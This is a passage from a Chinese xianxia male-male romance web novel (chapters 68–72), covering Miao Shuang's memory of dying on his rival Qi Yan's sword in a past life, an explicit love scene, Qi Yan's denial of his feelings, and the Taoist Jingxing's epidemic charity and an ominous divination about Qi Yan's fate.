于是他记住了,那是他的对手,是放眼整个修真界他唯一的仇敌,那清冷孤傲的剑修,皎洁如天山之雪,浩荡如林间之风。 他们时常交手,彼此胜率都只有五成,他赢了,从不会杀祁雁,因为他知道如果杀了他,世上就再没有能和他一战的对手,他要留着他为自己取乐。 可他不明白,祁雁为什么也不杀他。 那人打赢了他,只是负过手中剑,沉默地看着他,脸上无悲无喜,不开口说一个字。 而后,转身离去。 他们争斗了多久,苗霜自己也不记得了,也许是一千年,也许更久。 被魔念蚕食的记忆支离破碎,能拼凑起十之一二已纯属侥幸。 他只记得他们之间的最后一战。 那或许已经不能称为他和祁雁的战斗,而是他和整个修真界的战斗,所有化神境以上的修仙者合力清剿魔修老巢,誓要将他们一网打尽。 正道修士们浩浩荡荡,唯有泊雁仙尊姗姗来迟。 他记得他们分出胜负时祁雁脸上的表情。 极度惊愕,以至于瞳孔收缩。 一如现在这般。 “……苗霜?” 祁雁送赵戎他们离开后就回到了吊脚楼,他总感觉苗霜状态不对,有些不太放心。 他回到房间,却发现苗霜不在屋里,这时他听到楼上传来动静,才发现原来苗霜上了二楼。 苗霜一上二楼就没发生过什么好事,心里的不安更甚,他急忙追了上去,却没想到,迎接他的是令他终身难忘的一幕。 他看到苗霜坐在桌边,慢慢冲他转过头来,猩红的眼眸被潮意淹没,泪水夺眶而出,无声坠落。 湿润的痕迹沾了满脸,落在桌边,落在地板上,砸出一颗颗暗色的圆,祁雁一时间慌了神,他从没见过苗霜哭,从没想过苗霜会哭,更不知道他为什么而哭。 他听不到哭号,只有寂静的悲怆,他情不自禁地上前将他抱住,仓惶询问:“苗霜?怎么了,出什么事了?” 苗霜不回答,只是闭上眼睛。 他终于记起,那时他和祁雁似也是这般,只不过他们中间,还有一柄属于泊雁仙尊的剑。 那把剑深深插进他的心口,刺穿了他的心脏,剑柄握在祁雁手里,而他的双手,又死死握住了祁雁的手。 是他亲手把那柄剑送进了自己的心口。 那剑刃是如此锋利,剑身是如此之冷,他整个人都要被冻结,可他却忍着那彻骨的寒冷,想要离祁雁更近一些。 炼虚修士的交锋惊天动地,七七四十九天的激战,他耗尽了自己的魔气,祁雁也耗尽了全部的灵力。 只差半招。 他故意输了他半招,省下了那半招的力气,握紧祁雁执剑的手,用他的剑捅了自己。 只因他那时魔气耗尽,魔念短暂地从脑海中退去,他想起了一切。 他早已无以为继,失控的次数越来越多,冷静的时间越来越短,若祁雁再不杀他,他迟早会杀了祁雁,灭了这天下苍生。 祁雁不肯杀他,那他来杀死自己。 那把属于天下第一剑修的剑,足以让他神魂俱灭。 第69章 第 69 章 他不会真的爱上苗霜了吧…… 长剑一点一点没入他心口, 他看到祁雁眼中的震惊,看到祁雁脸上的绝望。 他听到他求他,求他停下来。 可他却不肯停下来, 他死死按住祁雁的手,那把剑每进一寸, 他便也离他更近一寸。 直到他触碰到祁雁的脸,触摸对方染血的嘴唇, 他气息奄奄,笑得却比任何时候都肆意畅快。 不知从什么时候起,死已经成了一种解脱,可他却不能死在自己手里,这具逆练了青冥心诀的身体已然成为魔气的容器,一旦容器打碎,所有的魔气外溢,一切努力付之东流。 只有祁雁能干净地解决掉他,他要用那把剑杀死他的肉|体, 用仙术碾碎他的魔丹,抹杀他的神魂, 让他彻彻底底地消失,不留一丝痕迹。 他一直在等这一天。 “你来得太迟了,”他听到自己对祁雁说,“迟到我已经把你忘了,鸣川师兄。” 他看到一向冷静的泊雁仙尊面色惨白,嘴唇不停颤抖, 本就不善言辞,此刻更是只会重复一个“不”字。 他竟觉得那样的鸣川师兄好生有趣。 苗霜不禁笑得更开心了,他抚摸着对方的脸颊, 用手上的血蹭脏他干净的面容,附在他耳边说:“鸣川师兄,我好恨你,凭什么活下来的是你,凭什么所有人都选择了你,师尊选你,青锋派选你,天下苍生选你,连我也选了你……凭什么?凭什么你占尽一切,而我一无所有?” “可我不后悔,如果再让我选一次,我还是会选你。” “师兄,我好喜欢你。” “你可知我为何喜穿红衣?我不知你何时来,那我便日日穿着,这样你杀我时,就是嫁衣。” “我很自私吧?死了还要阴魂不散地把你绑住,我要你记得我,记得我恨你,记得我爱你,所有人都可以忘了我,但你不能。” 血色的瞳孔渐渐涣散,他用最后的力气吻上祁雁的唇:“能死在你剑下,我也算……得偿所愿。” 滚烫的鲜血淌过雪亮的剑身,流过两人交握的手,顺着剑柄,在祁雁襟前洇出大片的红。 原来,他早用自己的血染脏了泊雁仙尊雪白的道袍。 香炉里白烟袅袅,幽香在室内飘散。 苗霜紧紧抱住身前的人,用力抓住他的衣服,不顾一切地吻上他的嘴唇。 祁雁不知道他是怎么了,也不知道该如何安慰,只品尝到他咸涩的眼泪混杂在这个吻中,心口又没由来地疼了起来,让他情不自禁地收紧双臂,用力将他箍进怀中,似乎这样就可以减缓彼此的痛苦。 苗霜的索求比平常任何一次都要激烈,祁雁感觉到他的迫切,几乎是蛮不讲理地夺取着他口腔中的氧气,仿佛要将他掠夺殆尽一般。 他没办法出声向他询问,也没办法停下,只能顺应着他给出回应,滚烫的呼吸烧灼着彼此,所有的情绪被融进这无声的缠绵当中,仿佛迟来了千年,又好似为时未晚。 但很快苗霜就不再只满足于亲吻,他猛地推了对方一把,祁雁猝不及防,被他推倒在床上。 刚来得及换口气,苗霜已压了上来,跨到他身上,干脆利落地解开他的衣服,祁雁下意识想去抓他的手,却被他轻松躲过,不等他开口,便再一次吻了上来。 苗霜扶住他坐了下去,那柄利剑狠狠将他捅穿,深得要钉入他的灵魂,疼痛却让他感到兴奋,以至于可以暂时忘却曾经的一切,全身心投入到当下,专注于眼前的人。 祁雁也无暇再去思索其他了,全身血液翻腾,顷刻间将他点燃,他扶住对方的腰,用生着薄茧的指腹摩挲他细腻柔韧的皮肤。 自从他腿好后,已经很久没用过这个姿势了,某个瞬间他仿佛回到了新婚之夜,竟有种恍若隔世的错觉。 苗霜不知在屋子里点了什么香,那幽邃的香气在他们交缠的呼吸间见缝插针地往他鼻子里钻,他莫名感到头脑昏沉,眼前有些发暗,他分不清是天色晚了,还是被苗霜吻到缺氧。 意识在难以形容的欢愉和迷离间浮沉,心口的疼痛渐渐消退,继而浮起某种奇怪的亲切感,他不知道那种感觉从何而来,仿佛超越了肉|体的局限,达到灵魂上的契合。 恍惚之中,似乎又回想起了三清殿,似乎看到了白茫茫的雪,看到绚烂的红霞烧红了整片天空,看到大雁从云端飞过……那景象有些陌生,又有些熟悉。 他想不起自己是在哪见过,只觉得好生亲切。 香炉里的白烟渐渐散去,一截香灰掉落,那炷香彻底燃尽了。 苗霜按住他的手背,粗糙的摩擦感落在他腰间,让人忍不住浑身颤栗,从内至外,来自祁雁的触感占据着他身体的每一处。 他亲吻着面前的人,想要从他身上夺回他亏欠自己的一切,这个该死的家伙,不守信的东西,可恶的骗子,明明答应他要罩着他,却连杀了他让他解脱都不肯下手。 不过,现在插在他身体里的这把剑,可比刺进他心口的剑舒服多了,虽然他不明白他为何能在那样的贯心一剑下存活,不明白他早该湮灭的神魂为何还在,但看在身下这把剑还算好用的份上,他可以暂时原谅他。 但有件事他不能轻饶。 他明明再三强调让祁雁记住他,怎么还能把他忘了? 某人的记性就那么差,在心里留出一小块地方给他,就那么难? 苗霜不禁有些生气,狠狠咬破了对方的舌头,疼痛让祁雁瞬间清醒过来,他本能地推开对方,有些错愕地看着他,不明白为什么好端端又要咬他。 但苗霜还不解气,又埋下头用力啃咬他的肩膀,直到咬出一圈血淋淋的牙印才算罢休。 剧痛让祁雁皱起眉,却没有反抗,今天苗霜的举止怪异极了,也许是心情不好想要发泄,给他咬一咬也没什么。 他咽下嘴里的血腥味,又去吻他,顺着他耳根一直吻到下颌,亲吻他颈侧剧烈跳动的脉搏。 苗霜闭上眼睛,已经到了极致,一阵跳动的绞滞过后,两人同时安静下来。 空气中只剩下粗重的呼吸声,苗霜伏在他肩头,舔了舔那牙印上渗出的血。 舌尖轻轻擦过伤口,犹如一片羽毛扫过,祁雁又疼又痒,手臂又收紧了些,沉声问他:“还要吗?” 苗霜懒洋洋地趴在他身上,已是不想动了,可他贪婪地想要索取更多,让某个人从身到心一滴不落地全给他才甘心,于是他道:“要。” 深埋的东西便又动了,由缓至急,他感觉到那股力量,觉得某人的腿大概是好得差不多了。 不知道究竟折腾了多久,窗外已是浓重的夜色,祁雁本想适可而止,可无论第几次问对方都还说要,他也只好继续满足他……直到他嗓音都有些嘶哑,再问时,苗霜没有回答。 终于是睡过去了。 祁雁松口气,他也实在是一滴都没有了,这家伙还真能折腾,就不怕明天起不来床吗? 哦,他倒忘了,以某人的自愈能力,大概睡上一觉就又生龙活虎吧。 他看着身侧睡着的人,心情有些复杂,到现在他也还是没搞明白苗霜为什么哭,但他看起来已经没那么悲伤了,脸上的表情十分放松,似在享受一场好梦。 祁雁俯下身来,轻轻亲吻他的眼角。 泪痕早已干了,却还能尝到丝丝咸涩,他将他凌乱的头发别到耳后,露出精致的面容。 说不上为什么,他不喜欢苗霜哭,他宁可他似笑非笑地折腾他,那眼泪让他感到难以形容的悲痛,像是心头压着一块沉重的石头,仿佛他亏欠他什么。 他捉起苗霜的手,想把它放进被子,可看着这满床狼藉,又觉得不收拾根本没法睡觉,犹豫了一下,还是决定下楼打些水,至少擦干净再说。 祁雁站起身来,床头梳妆用的铜镜里的他便也站起身,人影的晃动让他本能地投去视线,看到镜子里的自己衣衫不整,肩头的牙印已结了血痂。 咬得真狠。 牙还挺整齐的…… 祁雁理了理衣服,把牙印遮住,转身就要离开。 余光却忽然扫到什么,他身形一顿,退回镜前。 他难以置信地向镜中看去,微微把脸扭向一侧,露出喉结边那颗小痣,只见那痣殷红似血,分外醒目。 祁雁猛地一惊。 他完全忘了自己身上还有这情蛊! 这段时间以来发生的种种飞快地在脑中闪过,他像是幡然醒悟一般,神色一下子变得惊疑不定起来。 他最近都做了些什么? 他明明打算治好了伤就和苗霜分道扬镳,可为什么事情完全在向着不受控的方向发展,为什么一想起那个所谓的泊雁仙尊,他就自乱了阵脚? 他居然在嫉妒一个或许根本不存在的人,为了那个虚无缥缈的什么狗屁仙尊争风吃醋,还要把苗霜从他手里抢过来,不肯做泊雁仙尊的替身? 疯了,真是疯了。 可苗霜本就该是他的,什么叫抢,他只是夺回自己的东西—— …… 不对。 祁雁捂住额头,已经完全无法控制自己的思想,心脏跳得很快,不知是惊讶还是慌乱。 他慢慢转过头看向床上的人。 他不会真的爱上苗霜了吧? 不可能,绝对不可能! 一定是这情蛊的问题,都怪这该死的虫子! 他只是觉得泊雁仙尊那种货色不配让苗霜喜欢,而且苗霜本就是他的妻子,不论他喜不喜欢,他也不能让他落在别人手里。 没错,他只是尽到一个丈夫的义务,仅此而已,他对苗霜并没有多余的感情。 心情慢慢平复下来,祁雁呼出一口气,定了定神,下楼烧水。 第70章 第 70 章 反正苗霜已经是他的了…… 两刻钟后, 祁雁提着烧好的热水回到房间。 经过铜镜时,他没忍住又往镜子里看了一眼,竟发现那颗小痣变回了黑色。 他放下水桶, 有些惊讶地凑到镜前,甚至点起了烛火细看, 这回无论怎么看都是暗色的一个小点,并没有任何变红的迹象。 ……怎么回事? 虽然不明白发生了什么, 但他还是在心里松了口气。 他就说他怎么可能爱上苗霜呢,一定是刚刚光线太昏暗,他看错了。 祁雁坐在床边,用热水打湿了毛巾,小心翼翼地帮床上的人清理身上的污渍。 凌乱的床铺和随处可见的痕迹向他诉说着他们刚刚到底有多激烈,以至于当事者本人看了也有些耳根发烫,祁雁耐心把那些痕迹一一清理掉,给苗霜换上干净衣服,又把他抱起来, 更换了床单和被子。 料理完这一切,他也感觉有点累了, 坐在床边休息片刻,打量着苗霜的睡颜,微微出了神。 他时常觉得某人这张脸漂亮得不太像个人,有种超脱尘世的仙人之貌,却又夹杂着几分邪气,笑起来时, 甚至是邪气更占上风,让他看起来近乎妖异。 但可能是因为此刻正在熟睡,那双血色的眼瞳闭上, 妖异感也随之退去,显得他十分平和,好似人畜无害。 祁雁伸出手,小心地捏住他一撮发尾,将雪白的发尾绕上自己的手指,放在鼻端轻轻嗅闻。 发丝擦过脸颊,睡梦中的苗霜似乎感到痒,他翻了个身,顺势便捉住了祁雁的手,用脸颊贴住他的手心,蹭了蹭。 祁雁:“……” 微痒的触感顺着皮肤传来,像是有细小的电流一路从手臂爬到心底,他好像被烫了一下,不自觉地蜷了蜷手指。 纵然他觉得苗霜长得好看,和他做时也感觉舒服,但……但那只是他们各取所需。 可他至少不会守着军营里的兄弟一看就是半个时辰…… 祁雁喉结上下滚了滚,表情变得微妙起来。 他们之间若真的只是各取所需,他又何必在意苗霜为什么而哭,何必在意他喜欢谁,一想到苗霜心里装着别人他就浑身难受,恨不得把那个可能早就死了的家伙拖出来再杀一次,让苗霜彻底断了念想。 好吧,他承认他的确在乎他,可苗霜是他的妻子,他在乎他难道不是理所应当吗,他也并没有做错什么……归根结底还是因为那只蛊虫,一定是那只蛊虫干扰了他的思维,让他满脑子都是这些乱七八糟的想法。 何况现在蛊虫根本没变红,虚惊一场罢了,苗霜帮了他这么多,他自然该回报他,现在他们身上还有生死蛊,苗霜也算是把性命托付给他了,一个从不信任任何人的大巫把唯一的信任给了他,他还有什么好说的,他该给予他同等价值的报答。 之前苗霜照顾了他那么久,现在他的腿也好得差不多了,该由他来照顾苗霜,他不但要对他好,还要比以前更好。 身为丈夫照顾妻子,是理所当然吧? 至于那个什么狗屁仙尊……反正苗霜已经是他的了,他管那仙尊去死,该是他的人就是他的,断没有放手的道理。 祁雁想着,渐渐有些倦了,困乏的精神让他难以再坚持下去,打着哈欠摸上了床,十分顺手地把苗霜抱进怀中。 嗯,就是这样,没错…… 祁雁搂着人很快睡着了,第二天,两人果断睡到日上三竿才醒。 不知是昨日搞得太激烈,还是突然想起全部的记忆,超过了人能负荷的极限,苗霜感觉十分倦懒,一点都不想起。 尽管一直被祁雁抱着很热,他也懒得挣扎,就这么无所事事地躺着,享受着难得的闲暇。 过了一会儿,他听到祁雁的声音在耳边响起,声带的振动就抵在他耳畔:“夫人今天心情可好些了?” 苗霜现在心情好得不能再好,懒洋洋地应道:“嗯。” “那能不能跟为夫说说,昨天究竟为什么那么伤心?” 苗霜就知道他肯定要问这个,反正他现在心情不错,回答他一下也不要紧,当然了,该隐瞒的也还得隐瞒。 既然祁雁想不起来了,他也没必要强迫他做回泊雁仙尊,虽然把他忘了的确让他很生气,可事已至此,再强行让祁雁接受那些已经遗忘的过往,只会让他觉得痛苦。 他还记得泊雁仙尊“杀”他时的表情,对魔尊苗霜而言,报复的快意只有一瞬,痛快过了,剩下的全是痛苦。 他不想再看见那样的表情了。 他对祁雁的恨意早该随着那一剑消散,归根结底那不是祁雁的错,祁雁应该并没有忘记他们的约定,他不杀他,或许的确是在尝试救他,只可惜最后也没能成功。 他努力过了,这就够了。 想凭一己之力改变整个修真界,太难了,他从一开始就没抱过希望,至少他的死能给青锋派带来一些改变,在他之后,应该不会再有受害者了吧。 等等。 祁雁……现在就在他身边,是泊雁仙尊的神魂没错,他既然已经和他一起进了这书中世界,那修真界怎么办? 这个家伙,该不会真的给他殉情了吧? 他最好是毁掉了青冥心诀才死的,不然他们的一切努力不都白费了? 还有一件事他想不明白,在最后的时刻,他明明已经记起了一切,为什么进入到这个书中世界以后,又全都忘了? 祁雁和他是一样的情况吗?他们都忘了,只是祁雁忘得比较彻底? 那他又为什么偏偏记得祁雁杀过他呢,他脑子里只剩下他们是仇敌的记忆,这选择性遗忘未免太精准了些。 “夫人?”见他许久不答,祁雁又唤他,“要是实在不想说,就算了。” 嘴上这么说,声音却显得有些失望。 苗霜回过神来,模棱两可道:“昨天,是因为想起了一些以前的事。” “以前的事?”祁雁的手臂环着他的腰,“你是指,刚成为大巫的那几年?” “嗯。” “那又和‘鸣川’有什么关系?” 苗霜闭上眼睛:“那年,族中和我同龄的孩子都参加了大巫选拔,不论自愿还是被迫,结果你也知道了,除了我,一个都没活下来,其中有个孩子,曾经是我的朋友,我们两家离得很近,出门就是他家的吊脚楼,我跟他同一天出生,又一起长大,如果没有那场大巫选拔,我们应该到现在还是最好的朋友。” “我成为大巫以后就将他忘了,他的名字在苗语中的发音,和你们汉语的‘鸣川’很像,赵戎喊你鸣川的时候,我突然感觉好熟悉。” “所以你就用了景行送你的香?”祁雁问。 “嗯,我原本也只是试试而已,没想到那香真的有用,我不光想起了他,还想起了所有遗忘的事,包括我爹娘是怎么被那些人残忍杀害……” “抱歉,”祁雁急忙打断他,手臂微微收紧,“我不该问。” “没什么,反正都过去了。”苗霜说。 反正也是编的。 祁雁沉默下来,对提起他的伤心事感到愧疚,正绞尽脑汁想说点什么安慰他,就听他道:“我饿了。” “嗯,”祁雁立刻松开他,坐起身来,“我去让厨子做饭,想吃点什么?” “酸汤鱼。” “好。” 祁雁披上衣服下了床,顺手把昨夜换下来的衣服床单被子拿出去,交给明秋:“去洗了吧。” 明秋点点头,也没多想就接过,正好现在有时间,他直接拿去井边,挑水洗了。 直到他看到床单上的痕迹:“……” 不是,这,也太夸张了。 将军不是身体才好些吗就这么能折腾,那以后得什么样…… 明秋一言难尽地洗着衣服,突然感觉前途也没那么明亮。 * 数日后,普州。 “兄弟,兄弟?还能起来不,起来把药喝了。”赵戎端着药碗蹲在路边,试图叫醒一个昏倒在地的青年。 那青年穿着打扮像个道士,打了补丁的道袍沾满灰尘,也不知道是奔波了多远才能狼狈成这样,他双目紧闭,已是意识迷离,因为发烧而干裂的嘴唇开合,艰难吐字:“别……别管我……去救……救别人……” “别人都喝过药了,就差你了,”赵戎还在试图劝他,“兄弟,再不喝药你就死了。” 这人也不知道是从哪来的,今天一早就有人看见他晕倒在大街上,发现他的人急忙来医馆求助,求小医仙救人。 哦,小医仙是普州百姓对向久的尊称。 之前他和姜茂昼夜不停地把苗霜改进过的药方送回普州,向久看了,立刻改变了治疗策略,用苗霜给的药材和蛊虫配好了新药,一副药下去,效果立竿见影,之前那些只剩一口气勉强吊命的重症病人迅速好转起来。 而那些症状稍轻的,依然采用原本的药方,也已大有起色,死里逃生的病人们感激涕零,城里新来的郎中能治好疫病的消息一传十十传百,所有在家等死的病人都来看病了,直把他们忙得脚不沾地,煎药的大锅一天十二个时辰没有一刻闲着。 普州得救的消息很快传到了周边各州县,越来越多的人来普州寻医问药,向久的名声越来越响,人送外号:小医仙。 治疗轻症的药方已经免费发给了各州县,忙了这些时日,今天总算是稍微闲下来一点,赵戎正要活动活动快要累塌的筋骨,就被小医仙发配出来救这个昏倒的道士。 道士病得神志不清,嘴里还在喃喃:“别管我……我这有药……” 赵戎这才看到他手里捏着一个小瓶,心说你有药不吃不是脑子有病吗,掰开他的手把那瓶子夺过来,打开一看却发现里面是空的。 赵戎:“……” “给我,”姜茂单手他掐开道士的下巴,接过赵戎手里的药碗,“跟他废话,直接灌就是了。” 一碗乌漆麻黑的药汁全灌了下去,道士差点被活活呛死,咳嗽着醒了过来:“咳咳咳咳!!” 他咳了个昏天黑地,眼冒金星地看着面前的人,忍不住冲他比了个大拇指,喘着粗气道:“您这一碗……差点送我去见我的祖师爷。” 70-80 第71章 第 71 章 死劫。 “我们不给你灌这一碗, 你才要去见你的祖师爷,”赵戎道,“能起来不?躺在大街上像什么话, 跟我们去医馆吧。” 道士在他的搀扶下慢慢起身,他病得厉害, 体虚气短,又被那碗药呛得死去活来, 感觉自己是只剩一口气了。 赵戎本来想扶着他走,看他这样子,生怕他走不到医馆就嗝屁了,索性把他背了起来,问道:“你叫什么名字?” 道士有气无力地说:“小道……景行。” “你还真是个道士?这普州附近有道观?” “不,我是从北边来的。” “剑南大疫都多久了你还来,来干什么,送死啊?” “……”景行沉默了一下,“这叫入世修行, 济世行善。” “景兄弟,我佩服你, ”赵戎也冲他比了个大拇指,“不过你这小命都快修没了,要不是有人发现了你,再过两个时辰你就凉透了。” 景行:“。” 有没有可能他是道号景行,并不意味着他姓景。 他叹口气:“是我学艺不精,给你们添麻烦了。” 赵戎:“麻烦倒也不至于, 反正这么多病人,多你一个也不算多。” 说话间,他背着人到了医馆:“小医仙, 人带回来了,您给看看。” 医馆里药味浓得呛人,门口的大锅还在煎着药,有生病的百姓排队拿药,向久坐在诊台前,板着小脸给病人诊脉,凳子很高,他的脚还沾不着地,踩在凳杈上。 孟永良站在药柜前帮忙抓药,还有几个病人躺在隔间里,由老郎中的儿子,也就是这间医馆的主人负责针灸。 医馆内井然有序,除了时不时响起的咳嗽声,还算安静,比之前人满为患的样子好了太多。 向久结束了诊脉,对那病人道:“已经没什么大碍了,回去再吃上一副药即可,还是老样子,早晚各一次。” 病人高兴地接过已经包好的药:“谢小医仙救命之恩!” 景行从赵戎背上下来,之前灌下去的药已经起效,他现在感觉好些了,总算有力气站着,他看了看门口大锅里的药,闻着这空气中令人窒息的药味,又回忆了一下刚刚被硬灌的那碗药的滋味,有种奇怪的熟悉感漫上心头。 这药的味道……好像在哪里闻过啊。 隐约记得今年除夕夜,那伙在他道观借宿的人煎的药,和这个出奇相似。 倒不是说药的味道一模一样,只是那难以用语言描述的古怪滋味如出一辙。 他来普州之前卜了一卦,卦象显示剑南大疫有贵人相助,必能逢凶化吉,难道这贵人……竟是那位大巫? 他四下张望,却没看到苗霜的人,只有诊台后的小孩冲他招手:“来这里坐。” 视线定格在那小男孩身上,那小孩看起来不过六七岁,景行不禁有些惊诧,虽然他之前就听说了“小医仙”的名号,却没想到居然这么小! 他在向久对面坐下来,让对方给他诊脉。 向久的手指在他腕上搭了一会儿,严肃道:“你病得很重啊,病入肺腑,再晚些就来不及了,自今日起每日来医馆领药,早中晚各一次,连服三日,三日后再来找我看。” 景行一听那么难喝的药一天要喝三次,头都疼起来了,他咳嗽两声,虚弱道:“我看他们都是拿了药包回家的,我不能也回家自己煎吗?” 向久:“不可,他们已近痊愈,或症状轻微,用的药和你不同,这重症急方所用之药材独特,你们不会煎,我们给你们煎好了,你们直接喝还不方便吗?若不愿自己来,让家人代领也行。” 听他这么说,景行更确定这药和大巫有关了,那天晚上他可是亲眼看见大巫往药锅里扔了一把虫子…… 虽然以虫入药也没什么稀罕的,可轮到自己喝吧,还是觉得浑身都不得劲,他尴尬一笑:“我哪有家人啊,我自己来就是。” 向久“嗯”了声:“那你找地方休息去吧,我要看下一个病人了。” 景行站起身来,却没立刻走,而是压低声音:“你……认识苗疆大巫吗?” 向久抬起头看了看他。 临出发前阿那叮嘱过他,可以承认自己是苗疆圣子,却不要提圣子和大巫的关系,只道他受神灵指点,出山救人便可。 于是他没搭理面前这个人,对他身后的病人说:“过来坐。” 景行只好让到一边,心说难道他猜错了吗,已经很久没有那两人的确切消息了,好不容易碰上可能知情的人,他不想就这么算了。 大雍的未来都在那两人手里攥着,如果能确定这位小医仙是他们的人,那他就放心了。 犹豫再三,他还是决定再试试,转头又问把他背来医馆的赵戎他们:“你们真的不认识?” 赵戎和姜茂对视一眼,没接话。 景行把声音压到最低:“那祁雁将军呢?你们总该知道……” 话音未落,一左一右两把刀同时架在了他脖子上。 冰冷的刀刃贴着他因为生病而发热的皮肤,景行浑身汗毛都竖起来了,连忙求饶:“有话好说,有话好说!” 赵戎和姜茂一人扣住他一只胳膊,直接把人拖去了后院。 到无人处,赵戎把人放下,冷冷道:“祁雁那逆贼已经死了,你打听这些做什么?莫不是他的同党?” “逆贼?死了?两位就别试探我了,我真的没有恶意,”景行身体本来就虚,被他们拿刀这么一吓,只感觉三魂去了七魄,干脆一屁股坐在了地上,“我只是想打听一下他们的近况,不说就不说呗。” 姜茂还刀入鞘,抱着刀站在一边,赵戎却还不放心:“你是什么人?为什么要打听他们的近况?” “之前我和那位将军,还有将军夫人,也就是苗疆大巫有过一面之缘,除夕夜时,他们在我的道观借宿,我们也算是……相谈甚欢,我还给过大巫一样东西,收了他一锭银子,不信你们可以去问他。” 景行喘了口气,这疫病实在厉害,让他说两句话都费劲:“我观两位气宇不凡,举手投足像军中人,想必和那位将军有些渊源,所以才问的,两位要是不想说,那就算了,当小道没问过。” 姜茂赶紧换了个更放松的姿势。 “你不是道士吗?听说你们道士都会算卦,你卜一卦不就好了?”赵戎又说。 “哪有你说的那么邪乎,为人卜卦,最好人在眼前,察其言观其貌,再不济也要一件随身物品才行,空手而卜,我师父能做到,我嘛……学艺不精,还欠些火候。” “说到底,你也就是半瓶子水而已,”赵戎唰地一下收了刀,用刀鞘在他肩头敲了敲,“就你这半瓶子水还什么修行济世,我看你还是早点回去吧,别真把小命交代在这。” “唉,”景行深深叹气,“可若是不出山,良心又怎么过得去呢,师父在时我总是耽于玩乐,想着今天不学,反正还有明天,明天不学,还有后天……就这么一天天荒废下去,等师父走了,才追悔莫及。” “剑南大疫,生灵涂炭,我若久居山中,避世不出,自然能躲过一切,可若不敢历劫度人,又谈何修道,丢祖师爷的脸,更对不起师父。” “我下山时,带了师父给我的救命药,本以为能够自保……”景行说着往自己身上摸了摸,随后大惊,“我的药呢?” “你说这个?”赵戎把那个空瓶丢还给他,“我们救你时你就在说自己身上有药,结果一看是空的,可不是我给你弄没的。” 景行接住小瓶,惊魂甫定:“还好还好,这可是师父留给我为数不多的东西之一,可不能弄丢了。” 赵戎一咧嘴:“空瓶子也要?你这一瓶药都吃完了也不见你病好,你师父给的这药,我看也不怎么样吧。” “什么?”景行愣了一下,“这药我一颗没吃啊。” “那药呢?” “自然是分给别人了。” “自己都快死了,还分给别人?” 景行苦笑了一下,小心把空药瓶揣起收好:“也没法不给,这一路上碰到了太多病人,一颗药就能救一条性命,我怎么好私藏。” 他站起身来,拍了拍衣服上的土:“起初遇到个怀有身孕的妇人,病入膏肓,眼看要一尸两命,我就把药分了她一颗。” 赵戎点头:“那确实该给。” “后又遇到个才出满月的婴孩,孩提呱呱坠地,还没来得及仔细看看这个世界,就要辞别双亲,双亲终日以泪洗面,我于心不忍,又把药分了他一颗。” “……确实也该给。” “再遇到个病重的少女,豆蔻年华,便行将凋落,我心有不忍,分了她一颗。” “还有那身强力壮的青年,三十而立,家中有老弱妇孺,全家人都靠他养家糊口,却遭此飞来横祸,一人死而全家散,我目不忍视,将药分与他一颗。” “后遇一满头白发的老者,耄耋之年,辛劳一生,本该儿孙绕膝,享天伦之乐,却要被一场疫病夺取性命,我怎能坐视不理,便分他一颗。” “恰逢乞丐沿街行乞,那人双腿断尽,已是残疾之身,又身染重病,所过之处人皆绕行,真是厄运专找苦命人,我看不下去,又将药分给他一颗。” 赵戎和姜茂齐齐沉默下来,片刻,姜茂开口道:“照你这分法,有多少药都不够你分的。” “可不是吗,”景行摇头苦笑,“我一路走,一路分这救命药,药总共只有十粒,等到我再想吃,才发现早就分完了。” “谁都想救,谁都不愿放弃,到最后就只能牺牲自己了,可一人之力太过微薄,算来算去也不过救下十人,还好有大巫出山,不然剑南这一劫,怕是难过啊。” 姜茂没有反驳他,只道:“若那龙椅上的皇帝也能有你这般觉悟,哪怕只有十之一二,天下也不至于此。” “所以我才向你们打听那位将军怎么样了,”景行道,“你们若真是他的人,务必好好追随他,还有,保护好那位小医仙。” 他只能把话说到这了,泄露天机,他自己也会惹祸上身,也不知道还有几年寿命够折的。 赵戎和姜茂对视一眼,虽然谁都没把话说清楚,却又谁都明白了。 “你说有他的随身物品也可为他卜卦?”赵戎将信将疑,解下腰间的匕首,“这是他赠与我的,你看可行?” “这……”景行不是很有把握,“已是赠人之物……我只能说我可以试试。” 赵戎冲他一挑下巴,示意他快算。 景行呼出一口气,坐在了后院的小桌旁边,将匕首摆在桌上,掏出三枚被盘得油光水滑的铜钱来。 铜钱抛出又落下,反复几次,景行的脸色一点点变了。 赵戎问:“怎样?” 景行心脏砰砰直跳,难以置信地看着那卦象—— 大凶。 乌云蔽月,腾龙坠渊。 死劫。 第72章 第 72 章 刀山火海也无惧 怎么会这样? 他先前给祁雁卜卦, 并没算到他有死劫啊? 是哪里的因果线变了?莫非是因为这次剑南大疫? 景行有些颤抖地拾起那三枚铜钱,额头都冒出冷汗,再次卜问, 这次卜算的问题是:此事可有转机? 铜钱很快给出回应。 十死无生,在劫难逃。 景行心下一凉。 完了, 这卦象凶中带煞,已然没有半点转圜余地。 这瘸腿的真龙还真是命途多舛, 难道大雍的未来真的完蛋了? “算出啥来了,说话啊?”赵戎坐在了他对面,用指节敲了敲桌子,“景兄弟,景兄弟?” 景行猛地回过神来,匆忙收起了铜钱,将匕首推还给对方,抱歉道:“呃……没算出来,此物在你身上佩戴了太久, 已经感觉不到原主人的气息了,下次还是换个别的物件来吧。” “……我说你这道士, 到底行不行?”赵戎收起匕首,撇了撇嘴。 景行的确是不行了,他只感觉眼前一阵阵发黑,除夕夜感受过的那种脱力感又来了,也不知道这祁雁究竟是什么人,一旦他尝试卜问他的命数, 就会感到身体透支,生命力飞速流逝。 就算是未来的真龙,系一国之运, 却也不至于这般。 坚决不能再算了,不然,他的小命真的要交代在这。 姜茂见他脸色苍白,制止赵戎道:“行了,他还病着,你这东西本来就易主多年,怎么能算是将军的随身之物?别为难人了。” 赵戎:“好吧好吧,我不问了就是。” 姜茂端了些温水来,放在景行面前:“见你口干舌燥,喝口水吧,我听闻卜卦问灵之事有损自身,你重病在身,好好休养,别再逞强了。” 景行点点头:“多谢。” 再算的确也没用了,卦象的内容他一个字都不能透露,现在他只希望卦象所示之事不要发生,就像他之前没算到祁雁有死劫一样,现在这卦象说不定也会变。 想到这里,他不禁稍稍宽心了些,但愿那位大巫能救下祁雁,他既然能治好这剑南大疫,想必医术卓绝,没准能给祁雁一线生机。 * 祁雁握着一根树枝,以此为剑,在院子里活动筋骨。 经过这些时日的复健,他的腿已经完全没问题了,彻底恢复到了他受伤前的水平。 在遇到苗霜之前,他根本想都不敢想自己有朝一日还能像正常人一样行走,现在他不但能,还能在这里练剑习武。 